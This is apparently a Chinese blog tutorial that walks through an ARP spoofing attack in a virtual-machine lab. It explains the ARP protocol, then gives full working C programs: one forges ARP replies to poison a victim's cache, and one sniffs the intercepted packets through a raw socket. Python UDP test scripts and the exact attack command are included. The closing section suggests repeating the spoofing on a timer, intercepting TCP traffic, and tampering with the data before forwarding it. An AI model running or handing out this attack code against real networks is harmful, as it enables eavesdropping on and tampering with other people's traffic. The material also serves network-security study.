如何在局域網中實現 ARP 攻擊

前言

前段時間在學網絡協議的時候,知道了有 ARP 攻擊這麼個東西,但是當時對 Linux 環境下的 C 語言編程不是很瞭解,一直沒有機會實踐一下。終於在最近學習了網絡編程之後,纔算是入門了一點點 Linux C 語言編程。於是乎,經過兩天的研究,終於親自試驗了一把 ARP 攻擊,紙上得來終覺淺,絕知此事要躬行~不廢話了,下面就詳細介紹一下我在虛擬機上實施 ARP 攻擊的過程。

ARP 攻擊的原理

ARP 協議

在同一個局域網中, 一個主機要想給另外一個主機發送消息,必須知道目標主機的 MAC 地址,但是在 TCP/IP 協議中,網絡層和傳輸層只關心目標主機的 IP 地址,換言之,數據鏈路層拿到的報文中只包含目標主機的 IP 地址,他必須根據目標主機的 IP 地址找到相應的 MAC 地址,然後將消息發送出去。這個時候就需要用到 ARP 協議了。

ARP(英文:Address Resolution Protocol),翻譯成中文是「地址解析協議」,是根據 IP 地址獲取 MAC 地址的網絡傳輸協議。現在我們假設局域網中有三臺主機 A、B、C,他們的 IP 地址和 MAC 地址分別如下表所示:

IP 地址 MAC 地址
A 192.168.133.1 00:50:56:C0:00:08
B 192.168.133.140 00:0C:29:B6:1E:5E
C 192.168.133.141 00:0C:29:80:44:D4

現在 A 想給 B 發一條消息,此時 A 只知道 B 的 IP 地址,不知道 B 的 MAC 地址,它就會向局域網中廣播一條 ARP 請求消息,詢問 B 的 MAC 地址。這相當於 A 在局域網中喊:誰知道 192.168.133.140 的 MAC 地址?知道的話告訴我一聲。雖然局域網中其他主機都會收到這條消息,但是其他主機一看自己的 IP 地址不是 192.168.133.140,就不會搭理 A,只有 B 收到了這條消息後發現 A 是在詢問自己的 MAC 地址,於是就會給 A 發送一條 ARP 應答消息,告訴 A 自己的 MAC 地址是 00:0C:29:B6:1E:5E。
ARP請求
ARP應答

A 收到 B 的 ARP 應答後,知道了 B 的 MAC 地址,就可以給 B 發送消息了。同時 A 會將 B 的MAC 地址保存下來,以便下次再給 B 發消息的時候使用,這個叫做 ARP 緩存,在 Windows 和 Linux 上都可以通過 arp -a 這條命令查看當前系統的 ARP 緩存。ARP 緩存有一定的有效期,不同的系統有效期不一樣,過了有效期之後,當 A 需要再次給 B 發消息的時候,A 會重新廣播 ARP 請求,來詢問 B 的 MAC 地址。

ARP 攻擊

以上講的是正常的 ARP 請求-應答過程。如果大家都按照這個規則來,就會相安無事,可如果有人不按套路出牌,主動給 A 發送 ARP 應答呢?ARP 協議的漏洞就出現在這裏,對於一個主機來說,不管他之前有沒有發送過 ARP 請求,只要他收到了 ARP 應答,他就會把收到的 ARP 應答裏面的 IP 地址和 MAC 地址的對應關係存到自己的 ARP 緩存裏。

假設現在主機 C 向 A 發送了一個 ARP 應答,告訴 A,IP 地址是 192.168.133.140(B 的 IP 地址) 的主機的 MAC 地址是 00:0C:29:80:44:D4(C 的 MAC 地址),那麼 A 給 B 發送數據的時候,報文裏的 MAC 地址就會寫成 C 的 MAC 地址,這樣一來,本來應該是發到 B 那裏的消息,結果發到了 C 這裏。這就是 ARP 攻擊的原理。下文中如無特殊說明,A 均指數據發送者,B 均指數據接收者,C 均指攻擊者。
在這裏插入圖片描述

ARP 攻擊實戰

前期準備

環境搭建

我的操作系統是 Windows,虛擬機軟件用的是 VMware15,上面裝了兩臺操作系統是 CentOS6.5 的虛擬機,虛擬機的網絡連接模式選擇 NAT 模式。我現在用 Windows 操作系統模擬 A,兩臺虛擬機分別模擬 B 和 C。

ARP 報文格式

在寫代碼之前,我們得先知道 ARP 報文的格式。ARP 報文格式如下:
在這裏插入圖片描述

該報文從左到右分別是:

以太網鏈路層

  • 目標以太網地址:目標MAC地址。FF:FF:FF:FF:FF:FF (二進制全1)爲廣播地址。
  • 源以太網地址:發送方MAC地址。
  • 幀類型:以太類型,ARP爲0x0806。

以太網報文數據

  • 硬件類型:如以太網(0x0001)、分組無線網。
  • 協議類型:如網際協議(IP)(0x0800)、IPv6(0x86DD)。
  • 硬件地址長度:每種硬件地址的字節長度,一般爲 6(以太網)。
  • 協議地址長度:每種協議地址的字節長度,一般爲 4(IPv4)。
  • 操作碼:1 爲 ARP 請求,2 爲ARP 應答,3 爲 RARP 請求,4 爲 RARP 應答。
  • 源硬件地址:n 個字節,n 由硬件地址長度得到,一般爲發送方 MAC 地址。
  • 源協議地址:m 個字節,m 由協議地址長度得到,一般爲發送方 IP 地址。
  • 目標硬件地址:n 個字節,n 由硬件地址長度得到,一般爲目標 MAC 地址。
  • 目標協議地址:m 個字節,m 由協議地址長度得到,一般爲目標 IP 地址。

編寫代碼

首先是發送 ARP 應答的代碼:

//Filename: send_arp.c
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <net/if.h>// struct ifreq
#include <sys/ioctl.h> // ioctl、SIOCGIFADDR
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <netpacket/packet.h> // struct sockaddr_l


#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

struct arp_packet {
        u_char targ_hw_addr[ETH_HW_ADDR_LEN];
        u_char src_hw_addr[ETH_HW_ADDR_LEN];
        u_short frame_type;
        u_short hw_type;
        u_short prot_type;
        u_char hw_addr_size;
        u_char prot_addr_size;
        u_short op;
        u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
        u_char sndr_ip_addr[IP_ADDR_LEN];
        u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
        u_char rcpt_ip_addr[IP_ADDR_LEN];
        u_char padding[18];
};

void die(char*);
void get_ip_addr(struct in_addr*, char*);
void get_hw_addr(char*, char*);

int main(int argc, char** argv)
{
    struct in_addr src_in_addr,targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr_ll sa;
    struct ifreq req;
    int sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock < 0) {
        printf("Initial raw socket failed");
        return -1;
    }else
        printf("%d\n", sock);

    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op=htons(OP_ARP_REQUEST);

    get_hw_addr(pkt.targ_hw_addr,argv[4]);
    get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
    get_hw_addr(pkt.src_hw_addr,argv[2]);
    get_hw_addr(pkt.sndr_hw_addr,argv[2]);

    get_ip_addr(&src_in_addr,argv[1]);
    get_ip_addr(&targ_in_addr,argv[3]);

    memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

    bzero(pkt.padding,18);

    strncpy(req.ifr_name, DEFAULT_DEVICE, IFNAMSIZ); //指定網卡名稱
    if(-1 == ioctl(sock, SIOCGIFINDEX, &req))  //獲取網絡接口
    {
        perror("ioctl");    
        close(sock); 
        exit(-1);
    }

    /*將網絡接口賦值給原始套接字地址結構*/
    bzero(&sa, sizeof(sa));
    sa.sll_ifindex = req.ifr_ifindex;

    int res = sendto(sock, &pkt, sizeof(pkt), 0, (struct sockaddr *)&sa, sizeof(sa));
    printf("res: %d\n", res);
    if(res < 0){
        perror("sendto");
        exit(1);
    }
    exit(0);
}

void die(char* str){
    fprintf(stderr,"%s\n",str);
    exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

    struct hostent *hostp;

    in_addr->s_addr=inet_addr(str);
    if(in_addr->s_addr == -1){
        if( (hostp = gethostbyname(str)))
            bcopy(hostp->h_addr,in_addr,hostp->h_length);
        else {
            fprintf(stderr,"send_arp: unknown host %s\n",str);
            exit(1);
        }
    }
}

void get_hw_addr(char* buf,char* str){
    int i;
    char c,val;

    for(i=0;i<ETH_HW_ADDR_LEN;i++){
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf = val << 4;
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf++ |= val;

        if(*str == ':')str++;
    }
}

假設 A 是數據發送方,B 是數據接收方,C 是攻擊者,C 想竊取 A 發送給 B 的數據,那麼 C 運行這個程序需要 4 個參數,分別是:B 的 IP 地址,C 的 MAC 地址,A 的 IP 地址,A 的 MAC 地址。在上面那個例子中,就是:

./send_arp.out 192.168.133.140 00:0C:29:80:44:D4 192.168.133.1 00:50:56:C0:00:08

這個程序運行完之後,A 給 B 發送的數據就會發送到 C 這裏。

測試

首先寫一個 UDP 的客戶端,運行在 A 上,負責發送數據:

#我的 Windows 系統上安裝的是 Python3,所以這個 UDP 的客戶端是用 Python3 寫的

import socket

address = ('192.168.133.140', 31500)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = input()
s.sendto(msg.encode('utf-8'), address)
s.close()

然後寫一個 UDP 的服務端,運行在 B 和 C 上,負責接收數據:

#!/usr/bin/python
#這個是在 CentOS 上運行的,CentOS默認安裝了 Python2,沒有安裝 Python3(我懶得安裝了),所以就用 Python2 寫了這個 UDP 服務端

import socket

address = ('', 31500)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(address)

while True:
    data, addr = s.recvfrom(2048)
    if not data:
        print "client has exist"
        break
    print "received:", data, "from", addr
s.close()

在沒有運行 send_arp 之前,A 的 ARP 緩存如下:
在這裏插入圖片描述

A 發送給 B 的消息能夠正常送達。
在這裏插入圖片描述

在主機 B 上運行 send_arp 之後,A 的 ARP 緩存發生了變化:
在這裏插入圖片描述

而且 A 發送給 B 的消息也無法送達了。

但是如果這個時候你在 C 上運行 UDP 服務端,你會發現 C 也收不到 A 發送的消息。
在這裏插入圖片描述
這是怎麼回事呢?其實這個時候 A 發送的消息是到達了 C 的,只不過這個消息在經過網絡層的時候被丟棄了。要想把這件事解釋清楚,就不得不提到 TCP/IP 的四層網絡模型。大家都知道,TCP/IP 的四層網絡模型自下而上包括:網絡接口層、網際層、傳輸層、應用層,主機發送消息時,是從上往下發,每經過一層,都要在消息體前面加上當前層的報頭信息。比如經過網際層時,要在消息體前面加上源 IP 地址和目標 IP 地址等信息,經過網絡接口層時,要在消息體前面加上源 MAC 地址和目標 MAC 地址等信息。

主機接收消息時,正好反過來,是從下往上接收。網絡接口層最先收到消息,然後他會驗證消息頭的目標 MAC 地址是否是本機的 MAC 地址,如果是,就將消息發送給上一層,也就是網際層。網際層收到消息後,會驗證目標 IP 地址是否是本機的 IP 地址,如果是,就將消息發送給傳輸層,否則就丟棄。
在這裏插入圖片描述

C 接受到的 A 發送過來的消息結構大概是這樣的:
在這裏插入圖片描述
當這個消息經過網際層的時候,網際層發現這個消息的目標 IP 地址是 192.168.133.140,而當前主機的 IP 地址是 192.168.133.141,所以就把這個消息丟棄了。我們用 Python 寫的 UDP 服務端是工作於應用層的程序,應用層的數據來自傳輸層,但是數據在網際層就被丟棄了,所以沒有顯示出來。

攻擊者接收數據

既然應用層程序接收不到數據,我們就要用原始套接字直接接收網絡接口層的數據,然後再從中解析有用的數據。下面是接收數據程序代碼:

//Filename: recv.c
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/ether.h>
 
#define IP_ADDR_LEN 4

unsigned char src_ip_addr[IP_ADDR_LEN] = {192, 168, 133, 1};
unsigned char dst_ip_addr[IP_ADDR_LEN] = {192, 168, 133, 140};

void print_ip_addr(char*);
int ipcmp(char*, char*);
int main(int argc,char *argv[])
{
    unsigned char buf[1024] = {0};
    //初始化原始套接字
    int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    printf("sock_fd: %d\n", sock_raw_fd); 
    if (sock_raw_fd < 0)
        return -1;
    //獲取鏈路層的數據包
    while(1){
        int len = recvfrom(sock_raw_fd, buf, sizeof(buf), 0, NULL, NULL);
        if (len == -1)
            break;
        //如果第 24 個字節是 0x11,說明是 UDP 報文
        if (len >= 24 && buf[23] == 0x11){
            //獲取報文中的源 IP 地址和目標 IP 地址。與我們要攔截的 IP 地址進行對比
            if (ipcmp(buf+26, src_ip_addr) == 0 && ipcmp(buf+30, dst_ip_addr) == 0){
                printf("Length = %d\n", len);
                printf("Received:\n");
                int i = 0;
                while (len > i){
                    printf("%x ", buf[i]);
                    if (i % 8 == 7) printf("  ");
                    if (i % 16 == 15) printf("\n");
                    i++;
                }
                printf("\n");
                printf("Source: ");
                print_ip_addr(buf+26);
                printf("Destination: ");
                print_ip_addr(buf+30);
                printf("UDP data: ");
                //打印消息體
                i = 42;
                while (len > i){
                    printf("%c", buf[i]);
                    i++;
                }
                printf("\n\n");
            }
        }
    }
    return 0;
}

void print_ip_addr(char* buf){
    int i = 0;
    for (i = 0; i < IP_ADDR_LEN; ++i) {
        printf("%d", buf[i] & 0x000000ff);
        if (i+1 != IP_ADDR_LEN){
            printf(".");
        } else {
            printf("\n");
        }
    }
}

int ipcmp(char* buf, char* ip_addr){
    int i = 0;
    for (i = 0; i < IP_ADDR_LEN; ++i) {
        if (buf[i] != ip_addr[i]){
            return -1;
        }
    }
    return 0;
}

下面是用 recv 接收數據的效果:
在這裏插入圖片描述

結語

爲了方便,我在實驗過程中做了幾點簡化:

  • ARP 緩存有效期問題

    我們在實驗過程中,只發起了一次 ARP 攻擊。在文章開頭介紹 ARP 的時候我提到了 ARP 緩存有效期,事實上,ARP 攻擊正是利用了 ARP 緩存。C 發起 ARP 攻擊之後,A 的 ARP 緩存中存在着一條錯誤的「IP 地址 - MAC 地址」對應關係,但是當有效期過了之後,這個緩存就失效了,C 需要再次發起 ARP 攻擊。如果你想達到長期欺騙的效果,應該改寫一下 send_arp.c,讓它每隔一定的時間就發送一次 ARP 應答,使目標主機更新自己的 ARP 緩存。

  • 數據處理方式

    1. 我在 recv.c 中選擇了只接收源 IP 地址是 192.168.133.1,目標 IP 地址是 192.168.133.140 的 UDP 報文,理論上,在實施 ARP 攻擊之後,A 發送給 B 的一切數據都會發送到 C 這裏,無論是 UDP 還是 TCP,感興趣的讀者可以自行對 recv.c 進行更改,攔截其他數據。
    2. 在我寫的 recv.c 中,攔截數據之後只是簡單地打印出來,實際上這樣做的話 B 會很快發現自己收不到 A 的數據了,從而發現隱藏的攻擊者。根據不同的目的,我們在攔截數據之後,可以選擇不同的處理方式,比如將數據再次轉發給 C(甚至可以做一些篡改再轉發)。

除了上述的幾點簡化,本次實驗還有有待完善的地方。仔細觀察你會發現,A 在局域網中其實是一個網關。在實驗過程中,我嘗試過把 C 的攻擊對象改爲 B,也就是讓 B 認爲 A 的 MAC 地址是 00:0C:29:80:44:D4,然後查看 B 的 ARP 緩存,發現攻擊生效了。但是當 B 給 A 發送數據的時候,我發現 A 仍能接收到 B 發送的數據。這一點我始終沒想明白是爲什麼,爲什麼攻擊網關可以生效,而攻擊局域網中的其他主機不能生效呢?希望知道真相的讀者可以爲我指點迷津,謝謝!

參考鏈接

  1. https://zh.wikipedia.org/wiki/地址解析協議
  2. ARP and ICMP redirection games
  3. Linux網絡編程——原始套接字編程
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章